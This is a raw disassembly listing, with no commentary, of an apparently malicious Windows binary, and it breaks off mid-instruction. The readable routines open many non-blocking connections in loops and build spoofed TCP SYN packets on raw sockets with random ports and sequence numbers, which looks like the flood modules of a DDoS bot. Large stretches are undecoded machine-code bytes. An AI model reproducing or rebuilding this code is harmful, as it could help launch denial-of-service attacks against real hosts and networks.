mov eax, ebx loc_412E3B: ; CODE XREF: sub_412B08+3Bj pop edi pop ebx leave retn sub_412B08 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+24h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_412B08 add esp, 20h test eax, eax jnz short loc_412E8E push 1 pop eax loc_412E8E: ; CODE XREF: ___:00412E89j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_412E9D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6721o dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h dd 0FF000001h, 4CB02415h, 0FFF88300h, 75FC4589h, 3815FF5Fh dd 50004CAFh, 0FC44858Dh, 5468FFFFh, 5000435Ch, 8995E8h dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h dd 59FFFF84h, 0E8905759h, 22BD0C8h, 6AF44D8Dh, 0FF335104h dd 5057026Ah, 0FFF45D89h, 4CAF8415h db 0, 83h word_412F4E dw 0FFF8h ; DATA XREF: ___:off_43A1BCo dd 15FF5D75h, 4CAF38h, 44858D50h, 68FFFFFCh, 435C24h, 891CE850h dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h, 846CE8C8h dd 5959FFFFh, 51E89057h, 8D022BD0h, 0FFFE4885h, 15FF50FFh dd 4CAFE4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435C04h, 88B4E850h dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h dd 575959FFh, 0CFEAE890h, 106A022Bh, 57E4458Dh, 856EE850h dd 0C4830000h, 45C7660Ch, 570002E4h, 0AFA415FFh, 8966004Ch dd 858DE645h, 0FFFFFE48h, 0E415FF50h, 8B004CAFh, 4270A835h dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0DD1805C6h dd 0FF45004Ch, 4CAFA415h, 0D47D3900h, 0DD1AA366h, 8966004Ch dd 4CDD1C1Dh, 3D896600h, 4CDD1Eh, 0DD2005C6h, 8880004Ch dd 4CDD211Dh, 3D896600h, 4CDD22h, 33E83074h, 8B000088h dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h dd 8E3C1D8h, 8815E8h, 6AD80300h, 241D8901h, 5B004CDDh dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFE415h dd 0DD24A300h, 458B004Ch, 0DD28A3E8h, 0E3E8004Ch, 99000087h dd 100B9h, 88F9F700h, 4CDD2C15h, 87D0E800h, 0B9990000h dd 100h, 1588F9F7h, 4CDD2Dh, 87BDE8h, 0F0B99900h, 68000000h dd 400h, 8966F9F7h, 4CDD2E3Dh, 1D896600h, 4CDD32h, 15896642h dd 4CDD30h, 8795E8h, 0FFB99900h, 0F7000000h, 346852F9h dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h dd 68000004h, 4CDD18h, 0FFFC75FFh, 4CB00815h, 0FFF88300h dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 3C15FFFCh, 0FF004CB0h dd 4CAF3815h, 858D5000h, 0FFFFFE48h, 500875FFh, 435BBC68h dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h, 0FFFFFC44h dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 0CE02E857h dd 0FF90022Bh, 15FFFC75h, 4CB03Ch, 3308458Bh, 3CC06BD2h dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B7068h dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh dd 97E8C875h, 59FFFF81h, 0E8905759h, 22BCD7Ch dword_413284 dd 0B8EC8B55h, 10320h, 888FE8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+550Fo dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 2C15FF00h dd 89004CAFh, 858D0845h, 0FFFFFF40h, 0E415FF50h, 8B004CAFh dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 2815FF50h dd 3B004CB0h, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh dd 0FCBC858Dh, 0AC68FFFFh, 5000435Ch, 8589E8h, 0CC48300h dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh dd 0CCBEE890h, 0C33B022Bh, 408B0C74h, 8B008B0Ch, 0FC458900h dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h dd 4CAEBCh, 0C0753B46h, 75FFDA7Ch, 5C15FF08h, 8D004CB0h dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C8068h, 0BBE85000h dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h dd 59FFFF80h, 0F1E85359h, 90022BCBh dword_413410 dd 0B8EC8B55h, 10310h, 8703E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+575Bo dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0D24DE800h dd 50900226h, 8493E8h, 116A5900h, 26A026Ah, 0B02415FFh dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h, 0C4830000h dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFE4h dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CB02815h dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 68FFFFh dd 5000435Dh, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 2BCB13E8h, 408B9002h dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 0DBE81175h dd 99000083h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h dd 4CAFA4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 838DE8h dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh dd 0FEFCF085h, 0FF5350FFh, 4CB00815h, 0D875FF00h, 24D760E8h dd 754E9002h, 0DC7D39CEh, 2FE8BC75h, 99000083h, 0FFDCB9h dd 42F9F700h, 0A415FF52h, 66004CAFh, 0EBF24589h, 50858DA1h dd 50FFFFFFh, 0FCCC858Dh, 0D468FFFFh, 5000435Ch, 82A5E8h dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h dd 575959FFh, 2BC9DBE8h db 2, 90h word_413626 dw 8B55h ; DATA XREF: sub_401ACD+4DECo dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h dd 0FFFBEC85h, 5D2868FFh, 0E8500043h, 820Ah, 0C483F633h dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h, 5959FFFFh dd 3DE89056h, 5F022BC9h ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4136C5 proc near ; CODE XREF: ___:004137AEp var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CAFA4 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_413783 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_413710: ; CODE XREF: sub_4136C5+B9j lea esi, [ebp+var_654] mov ebx, edi loc_413718: ; CODE XREF: sub_4136C5+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_41373B lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax nop call near ptr 71AB155Ah loc_41373B: ; CODE XREF: sub_4136C5+64j add esi, 4 dec ebx jnz short loc_413718 lea esi, [ebp+var_654] mov ebx, edi loc_413749: ; CODE XREF: sub_4136C5+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] nop call near ptr 71AB3E5Dh add esi, 4 dec ebx jnz short loc_413749 push 64h call near ptr 2660D05h nop lea esi, [ebp+var_654] mov ebx, edi loc_41376D: ; CODE XREF: sub_4136C5+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_41376D dec [ebp+arg_4] jnz short loc_413710 pop edi pop esi pop ebx loc_413783: ; CODE XREF: sub_4136C5+3Ej xor eax, eax leave retn sub_4136C5 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov edi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov esi, eax push esi push ebx push edi call sub_4136C5 add esp, 18h test eax, eax jnz short loc_4137BD push 1 pop eax loc_4137BD: ; CODE XREF: ___:004137B8j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_4137CC dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: sub_401ACD+6449o dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D54h, 8064E850h dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh dd 0FFFF7BB2h, 90565959h, 2BC797E8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41386B proc near ; CODE XREF: ___:00413B59p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAF14 test eax, eax jz short loc_4138AB xor eax, eax jmp loc_413B19 ; --------------------------------------------------------------------------- loc_4138AB: ; CODE XREF: sub_41386B+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB048 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_413B11 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CAF84 cmp eax, 0FFFFFFFFh jz loc_413B07 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CAFA4 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CAFA4 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CAFA4 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CAFA4 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 2770B1Eh lea eax, [ebp+var_8] push eax nop call near ptr 27707BAh push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41D280 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_413996: ; CODE XREF: sub_41386B+25Dj ; sub_41386B+26Bj mov [ebp+var_24], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAFA4 mov [ebp+var_34], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAFA4 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAFA0 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAFA4 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CB008 cmp eax, 0FFFFFFFFh jz short loc_413ADB add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 27707BAh mov eax, [ebp+var_4] cmp eax, esi jg short loc_413B04 jl loc_413996 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_413B04 jmp loc_413996 ; --------------------------------------------------------------------------- loc_413ADB: ; CODE XREF: sub_41386B+247j call dword_4CAF38 push eax lea eax, [ebp+var_F4] push offset dword_435D7C push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_413B07 ; --------------------------------------------------------------------------- loc_413B04: ; CODE XREF: sub_41386B+25Bj ; sub_41386B+269j mov ebx, [ebp+arg_8] loc_413B07: ; CODE XREF: sub_41386B+78j ; sub_41386B+297j push [ebp+var_C] call dword_4CB03C pop esi loc_413B11: ; CODE XREF: sub_41386B+5Bj call dword_4CAEFC mov eax, ebx loc_413B19: ; CODE XREF: sub_41386B+3Bj pop edi pop ebx leave retn sub_41386B endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_41386B add esp, 1Ch test eax, eax jnz short loc_413B68 push 1 pop eax loc_413B68: ; CODE XREF: ___:00413B63j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_413B77 db 55h ; DATA XREF: sub_401ACD+6E44o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 7BD1h, 858D5059h, 0FFFFFE70h, 0E415FF50h, 50004CAFh dd 5DE8h, 50595900h, 0FC6C858Dh, 9C68FFFFh, 5000435Dh dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h dd 3E8F075h, 59FFFF78h, 0E8905659h, 22BC3E8h, 8B555E5Fh dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AFB815FFh, 75FF004Ch dd 2815FFFCh, 8B004CB0h, 6A530C40h, 8B026A03h, 89008B00h dd 15FFF445h, 4CB024h, 56D84D8Dh, 6A026A51h, 45895000h dd 8415FFFCh, 0BE004CAFh, 200h, 77D3E856h, 3D8B0000h, 4270A8h dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AFA415FFh, 8966004Ch dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh, 0F9F7CB8Bh dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh dd 4DD45C6h, 0E8D45589h, 7B52h, 0E0458966h, 7B49E8h, 990A6A00h dd 66F9F759h, 0B095448Bh, 0A415FF50h, 56004CAFh, 0E2458966h dd 0AFA415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h, 0E6A0000h dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0B00815FFh dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h, 0FFFC75FFh dd 4CB03C15h, 58016A00h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- byte_413E35 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+53E8o dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270A8h dd 0E850D7FFh, 7A58h, 0FF6859h, 36A0000h, 15FF026Ah, 4CB024h dd 89FFF883h, 6675FC45h, 0AF3815FFh, 8D50004Ch, 0FFFBC085h dd 5EB468FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh, 858D14C4h dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h dd 535959FFh, 0C102E890h, 4D8D022Bh, 51046ACCh, 5053026Ah dd 0FFCC7589h, 4CAF8415h, 0FFF88300h, 15FF6675h, 4CAF38h dd 0C0858D50h, 68FFFFFBh, 435E7Ch, 7958E850h, 0C4830000h dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 22BC084h, 0FDC4858Dh dd 0FF50FFFFh, 4CAFE415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h dd 435E5C68h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h dd 0E8905359h, 22BC014h, 458D106Ah, 0E85053BCh, 7598h dd 660CC483h, 2BC45C7h, 15FF5300h, 4CAFA4h, 0BE458966h dd 0FDC4858Dh, 0FF50FFFFh, 4CAFE415h, 0C0458900h, 0FF085D89h dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AFA415FFh dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 73E82D74h, 8B000078h dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFE415FFh, 4589004Ch dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0A415FFFFh dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h dd 0A415FF52h, 68004CAFh, 12345678h, 0E8458966h, 0AFA015FFh dd 4589004Ch, 44858DECh, 68FFFFFEh, 42ABB0h, 77EEE850h dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch dd 68FFFFFEh, 42A9E8h, 77CEE850h, 85590000h, 97459C0h dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9E0h dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h, 1ADAF7F9h dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h dd 4CAFA4h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 0A415FF06h dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh dd 8147E8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h, 66FFFF6Ah dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh dd 0FFFC75FFh, 4CB00815h, 0FFF88300h, 45FF0874h, 0FDBAE908h dd 75FFFFFFh, 3C15FFFCh, 0FF004CB0h, 4CAF3815h, 858D5000h dd 0FFFFFDC4h, 500875FFh, 435E0C68h, 0C0858D00h, 68FFFFFBh dd 200h, 76E6E850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h dd 22BBD18h, 0FFFC75FFh, 4CB03C15h, 8458B00h, 0C06BD233h dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h dd 435DBC68h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h dd 90535959h, 2BBC87E8h db 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_4143A5 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414397: ; CODE XREF: ___:0041439Fj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414397 pop edi cmp eax, 1 loc_4143A5: ; CODE XREF: ___:0041438Bj jnz short loc_4143B2 mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr 